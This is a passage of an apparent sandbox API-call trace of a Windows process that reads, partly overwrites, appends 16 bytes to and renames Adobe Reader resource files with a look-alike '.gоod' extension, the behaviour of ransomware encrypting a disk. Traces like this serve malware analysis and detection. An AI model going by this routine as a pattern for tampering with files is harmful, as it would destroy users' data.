ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f)) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0183.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0183.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0183.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0183.354] GetFileType (hFile=0x824) returned 0x1 [0183.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0183.354] GetFileType (hFile=0x824) returned 0x1 [0183.354] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0183.354] ReadFile (in: hFile=0x824, lpBuffer=0x35aead0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x35aead0*, lpNumberOfBytesRead=0x203eb2f8*=0xf7f, lpOverlapped=0x0) returned 1 [0183.356] CloseHandle (hObject=0x824) returned 1 [0183.356] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0183.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0183.356] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0183.356] GetFileType (hFile=0x824) returned 0x1 [0183.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0183.356] GetFileType (hFile=0x824) returned 0x1 [0183.356] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1f7f [0183.357] WriteFile (in: hFile=0x824, lpBuffer=0x35b00a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x35b00a8*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0183.357] CloseHandle (hObject=0x824) returned 1 [0183.357] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0183.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0183.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0183.357] GetFileType (hFile=0x824) returned 0x1 [0183.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0183.357] GetFileType (hFile=0x824) returned 0x1 [0183.357] ReadFile (in: hFile=0x824, lpBuffer=0x35b23e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x35b23e0*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0184.018] CloseHandle (hObject=0x824) returned 1 [0184.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0184.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0184.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0184.018] GetFileType (hFile=0x824) returned 0x1 [0184.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0184.018] GetFileType (hFile=0x824) returned 0x1 [0184.018] WriteFile (in: hFile=0x824, lpBuffer=0x3586080*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3586080*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0184.019] CloseHandle (hObject=0x824) returned 1 [0184.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0184.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png.gоod", lpFilePart=0x0) returned 0x8c [0184.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0184.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x69e64abe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f)) returned 1 [0184.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0184.019] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png.gоod")) returned 1 [0184.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0184.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0184.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x3904190 | out: lpFileInformation=0x3904190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7)) returned 1 [0184.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0184.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0184.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0184.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0184.020] GetFileType (hFile=0x824) returned 0x1 [0184.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0184.020] GetFileType (hFile=0x824) returned 0x1 [0184.021] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0184.021] ReadFile (in: hFile=0x824, lpBuffer=0x39046b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x39046b8*, lpNumberOfBytesRead=0x203eb2f8*=0xfd7, lpOverlapped=0x0) returned 1 [0184.022] CloseHandle (hObject=0x824) returned 1 [0184.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0184.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0184.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0184.022] GetFileType (hFile=0x824) returned 0x1 [0184.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0184.022] GetFileType (hFile=0x824) returned 0x1 [0184.022] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1fd7 [0184.023] WriteFile (in: hFile=0x824, lpBuffer=0x3905bd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3905bd8*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0184.023] CloseHandle (hObject=0x824) returned 1 [0184.023] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0184.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0184.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0184.023] GetFileType (hFile=0x824) returned 0x1 [0184.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0184.023] GetFileType (hFile=0x824) returned 0x1 [0184.023] ReadFile (in: hFile=0x824, lpBuffer=0x3907f20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x3907f20*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0184.982] CloseHandle (hObject=0x824) returned 1 [0184.982] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0184.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0184.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0184.983] GetFileType (hFile=0x824) returned 0x1 [0184.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0184.983] GetFileType (hFile=0x824) returned 0x1 [0184.983] WriteFile (in: hFile=0x824, lpBuffer=0x35c5010*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x35c5010*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0184.984] CloseHandle (hObject=0x824) returned 1 [0184.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif", lpFilePart=0x0) returned 0x8b [0184.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif.gоod", lpFilePart=0x0) returned 0x90 [0184.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0184.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6a77b889, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7)) returned 1 [0184.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0184.984] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_ie8.gif.gоod")) returned 1 [0184.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0184.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0184.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3772a48 | out: lpFileInformation=0x3772a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a)) returned 1 [0184.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0184.987] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0184.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0184.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0184.988] GetFileType (hFile=0x824) returned 0x1 [0184.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0184.988] GetFileType (hFile=0x824) returned 0x1 [0184.988] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0184.988] ReadFile (in: hFile=0x824, lpBuffer=0x3772f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3772f90*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0185.172] CloseHandle (hObject=0x824) returned 1 [0185.172] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0185.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.172] GetFileType (hFile=0x824) returned 0x1 [0185.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.172] GetFileType (hFile=0x824) returned 0x1 [0185.172] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x3c6a [0185.172] WriteFile (in: hFile=0x824, lpBuffer=0x3686dc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3686dc0*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0185.174] CloseHandle (hObject=0x824) returned 1 [0185.174] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0185.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.174] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.174] GetFileType (hFile=0x824) returned 0x1 [0185.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.174] GetFileType (hFile=0x824) returned 0x1 [0185.174] ReadFile (in: hFile=0x824, lpBuffer=0x3689498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x3689498*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0185.201] CloseHandle (hObject=0x824) returned 1 [0185.201] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 